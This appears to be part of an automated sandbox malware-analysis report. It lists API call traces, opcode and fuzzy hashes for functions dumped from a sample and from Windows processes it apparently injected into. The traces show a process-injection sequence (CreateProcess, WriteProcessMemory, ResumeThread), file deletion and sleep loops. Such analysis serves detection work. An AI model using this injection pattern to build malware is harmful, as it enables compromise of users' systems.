API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: c2c53b7add89f5405ac2cbe349f6c6d84317309b57a9332ff12d303cee29235a
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: F2516371504214AEEB22AF708C58FAB77BDFF41705F4444B5AE86EA051EE309680CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C09D9 Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
ResumeThread.KERNEL32(?), ref: 001C0AB6
Sleep.KERNEL32(000003E8), ref: 001C0AC6
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: d08d0b8b2051c34f5721e4dda066ff8a6639c36971b334a2f4be7756b07d5326
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: F0312F31640215AFEF239F14CC85FAA77B8AF14744F080199AA49FE0E5DBB0DA90CE54

Uniqueness

Uniqueness Score: -1.00%

Function 023A09FD Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,023A09F6,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 023A0A04
GetThreadContext.KERNEL32(?,00000000), ref: 023A0A2C
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 023A0A57
DuplicateHandle.KERNEL32(000000FF,000000FF,?,023A5834,00000000,00000000,00000002), ref: 023A0A9C
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 023A0ACA
ResumeThread.KERNEL32(?), ref: 023A0ADA
Sleep.KERNEL32(000003E8), ref: 023A0AEA
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 023A0B01

Memory Dump Source

Source File: 00000011.00000002.1892758259.00000000023A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_23a0000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: 7ea44353f8bae36f642a803b331dacfbaa5631f79c4d5de9db08e8c321006128
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: BF3150316402189FEF269F20CC95BA977B9FF04748F0805E4AA49FE0E5DBB0D690CE64

Uniqueness

Uniqueness Score: -1.00%

Function 001C29A6 Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC

Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: c636e14730fe7c8789ea0b8b2e66408bc148dc9e268f550b67392472ade30f33
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 9441F1715002289FDB22BB618D49FAB77BCEF60705F0444AAEA45E7055DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 023A29CA Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,023A29C1), ref: 023A29D0

Part of subcall function 023A2A01: lstrcat.KERNEL32(00000000,023A29F8), ref: 023A2A07
Part of subcall function 023A2A01: lstrcat.KERNEL32(00000000,023A2A2F), ref: 023A2A3E
Part of subcall function 023A2A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 023A2AB8
Part of subcall function 023A2A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 023A2AFC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 023A2B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 023A2B66

Memory Dump Source

Source File: 00000011.00000002.1892758259.00000000023A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_23a0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: 214cb71808e54b0b099ed5c916c80f383bf560b138c81c03cc5c00997d2c0982
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 3B4131719052589EDB32AF708D58EAF77BDEF40704F4044B5AE86EA051EE359A80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C29DD Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3

Part of subcall function 001C2A14: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Part of subcall function 001C2A14: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: d6b160bcfa924dc1f1ce780805323c99afb8a852cbc58ab7edcbb3794eecdb08
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 8D4130B15002289FDB22BB618D49FAF76BCEF60705F0444AEEA45E7041DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 023A2A01 Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,023A29F8), ref: 023A2A07

Part of subcall function 023A2A38: lstrcat.KERNEL32(00000000,023A2A2F), ref: 023A2A3E
Part of subcall function 023A2A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 023A2AB8
Part of subcall function 023A2A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 023A2AFC
Part of subcall function 023A2A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 023A2B52
Part of subcall function 023A2A38: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 023A2B66

Memory Dump Source

Source File: 00000011.00000002.1892758259.00000000023A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_23a0000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: 9da0757af045d95e6db52a3ce6e47ad5f0962d2fb4c7b36bce32b4d4c4670bcd
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 164131715052589EDB32AF708D58FAF77BDEF40709F4044B5AE86EA051EE349A80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C2A14 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A

Part of subcall function 001C2B4D: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 001C2C44

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 49968fa7a4b5d5aca4da9ad6627b8677a1410d3c3c0f57381d6fd9009df4eb89
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: B9313EB15002699FDB227B618C48FAF76FCEF60705F0044AEEA45E7045DB34DA80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 023A2A38 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,023A2A2F), ref: 023A2A3E

Part of subcall function 023A2B71: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 023A2C68

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 023A2AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 023A2AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 023A2B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 023A2B66

Memory Dump Source

Source File: 00000011.00000002.1892758259.00000000023A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_23a0000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 233f7c16acb58b24ad0c289a329ead04ef36ec8371ac91175a2a15474c24faff
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: 71312F715052589EDB226F308D58FAF76BDEF40709F4044B5AE86EA054EF349A80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C31C6 Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 001C31EA
GetStartupInfoA.KERNEL32(00000000), ref: 001C3228
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,001C31B5,00000011,?,00000000,00000000), ref: 001C3255
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C3261
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C326D

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 1a8fcc1b29af6dc6d508c4043910ddb7290efc2c1b1de9f1c1491fbd14d99cd8
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 871121B2504958AFDF12AF60CC45FAF77BCEF60305F0145A9E986EA005DB349A90CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 023A31EA Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 023A320E
GetStartupInfoA.KERNEL32(00000000), ref: 023A324C
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,023A31D9,00000011,?,00000000,00000000), ref: 023A3279
CloseHandle.KERNEL32(?,?,023A31D9,00000011,?,00000000,00000000,00000000,023A3092,00000004,00000000), ref: 023A3285
CloseHandle.KERNEL32(?,?,023A31D9,00000011,?,00000000,00000000,00000000,023A3092,00000004,00000000), ref: 023A3291

Memory Dump Source

Source File: 00000011.00000002.1892758259.00000000023A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_23a0000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 3b5c067545e4d537ebcb4c57ca1ccf2902eb49ee1031da120822be50baffde4f
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 4B1121724005189FDF12AB60CC98AAFB7FDEF40305F0145A9E986EB015DA309A90CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C0B65 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(001C0B57,0000000E), ref: 001C0B6A
GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 001C0B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 001C0B84
ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 001C0BA6

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: Process$Window$ExitFindOpenThread
String ID:
API String ID: 273847653-0
Opcode ID: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction ID: a9338b71442d5d3ebf48e46985c07ff31f3dafee2d3b1c7779650113a65b08a8
Opcode Fuzzy Hash: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction Fuzzy Hash: CE11EF25204301AEEF136BB08D56F663F28AF36B00F0A419DF8449E0A3DB20C9429A38

Uniqueness

Uniqueness Score: -1.00%

Function 023A3F31 Relevance: 6.0, APIs: 4, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,023A3F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 023A3F51
Sleep.KERNEL32(000003E8,00000000,?,023A3F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 023A3F6F
Sleep.KERNEL32(000007D0), ref: 023A3F7F
Sleep.KERNEL32(00000BB8), ref: 023A3F8F

Memory Dump Source

Source File: 00000011.00000002.1892758259.00000000023A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_23a0000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction ID: 24c299aca025a81fc44dc181c23e8d7712eca15c556d989953a75213f2cff8fb
Opcode Fuzzy Hash: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction Fuzzy Hash: E8F01C705643509BFB603BB08C6D64A3AB9EF00704F0400F1AA89AE4A6CF7490508E75

Uniqueness

Uniqueness Score: -1.00%

Function 001C3EC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(001C3EBD,00000006,E8FFFE1B,00000000), ref: 001C3EC8
GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D

Strings

j, xrefs: 001C3EFC

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: j
API String ID: 4133054770-2747090070
Opcode ID: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction ID: c4430a2c0c24a2b0bdc06aa21888522cca28319f24652424d60ea3f5ea681fdb
Opcode Fuzzy Hash: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction Fuzzy Hash: BEF0C871948250AEEB127A708855FAE32BCAF70701F00C45DBA95DA041DF30C740DAB7

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: TextInputHost.exePID: 3788, Parent PID: 7344COMMON

Executed Functions

Function 00580811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0058092A
RtlExitUserThread.NTDLL ref: 00580933

Memory Dump Source

Source File: 00000013.00000002.2885118334.0000000000580000.00000040.00000001.00020000.00000000.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_580000_TextInputHost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: ad2bcb2392a4eecc8ec5ac587f61150cc7b45fc580965541663a43ffb8525291
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 8131C3720006056FEF417B709D4AABA7FACFF51310F001165BD85EA0E2EA7449A98BB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 5116, Parent PID: 7344COMMON

Executed Functions

Function 003D0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 003D092A
RtlExitUserThread.NTDLL ref: 003D0933

Memory Dump Source

Source File: 00000014.00000002.2886762840.00000000003D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3d0000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 37606bd29bffd8747609349bc4e3a59d52761269dbb140b3fc6ccf4b2a91a728
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DF31D4734102047FEB077B70AD46BBA3BACEF11700F000167BD95DE2A6EA7449649AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 1532, Parent PID: 7344COMMON

Executed Functions

Function 00900811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0090092A
RtlExitUserThread.NTDLL ref: 00900933

Memory Dump Source

Source File: 00000017.00000002.2810281551.0000000000900000.00000040.00000001.00020000.00000000.sdmp, Offset: 00900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_900000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 807355393fe14c1897a20badd90106663a8bf34a3f2784256eb9570d4bf43842
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9A31E472000204AFEB017B709D86BBA3BACFF91300F444166FD85DA0E2EA7549A48AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ApplicationFrameHost.exePID: 5736, Parent PID: 7344COMMON

Executed Functions

Function 00181D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00181D99
VirtualAlloc.KERNELBASE ref: 00181DD2
VirtualProtect.KERNELBASE ref: 00181E56

Memory Dump Source

Source File: 00000018.00000002.2886724253.0000000000180000.00000040.00000001.00020000.00000000.sdmp, Offset: 00180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_180000_ApplicationFrameHost.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: f7edfa1d29ee3a2f15c71f23f1afa3dacc25a52c64f2328ccefa2793ada852ba
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 1121E531A34C1D0BEB58B27C9859764F6D6E79C320F980295E90DD36E4ED58CC8287C6

Uniqueness

Uniqueness Score: -1.00%

Function 00180811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0018092A
RtlExitUserThread.NTDLL ref: 00180933

Memory Dump Source

Source File: 00000018.00000002.2886724253.0000000000180000.00000040.00000001.00020000.00000000.sdmp, Offset: 00180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_180000_ApplicationFrameHost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 5f0a2bf08c062a83ee58e576ca9a39c726153a08bf7c3d9358f7d983c0235e19
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 7331B6724102087FEB427F709D46ABA376CEF26310F440165BD85DA0A6EB744BA9CFB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 1760, Parent PID: 7344COMMON

Executed Functions

Function 00190811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0019092A
RtlExitUserThread.NTDLL ref: 00190933

Memory Dump Source

Source File: 0000001A.00000002.2886442210.0000000000190000.00000040.00000001.00020000.00000000.sdmp, Offset: 00190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_190000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 623531ca5508d48381e8169b3b0e04df07f96b68e4b13c9decdab74f5fa118bc
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: F131F772510205BFEF027F709D46ABA3BACEF25300F400565BD85DA0A2EB744DA4CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: UserOOBEBroker.exePID: 3924, Parent PID: 7344COMMON

Executed Functions

Function 00011D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00011D99
VirtualAlloc.KERNELBASE ref: 00011DD2
VirtualProtect.KERNELBASE ref: 00011E56

Memory Dump Source

Source File: 0000001C.00000002.2888229544.0000000000010000.00000040.00000001.00020000.00000000.sdmp, Offset: 00010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_10000_UserOOBEBroker.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: 9f39b5367da6598aeeb1998e776373a994835cae58933e0181d4283a84448e61
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 6021F930B34C1D0BEB5CA27C98597A4F6E2E79C320F940295EA0DD36D4ED58CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 00010811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0001092A
RtlExitUserThread.NTDLL ref: 00010933

Memory Dump Source

Source File: 0000001C.00000002.2888229544.0000000000010000.00000040.00000001.00020000.00000000.sdmp, Offset: 00010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_10000_UserOOBEBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 6daea8f8473804d12748bca0b7204fc4a623126665c209879b0ad2024dc0075f
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
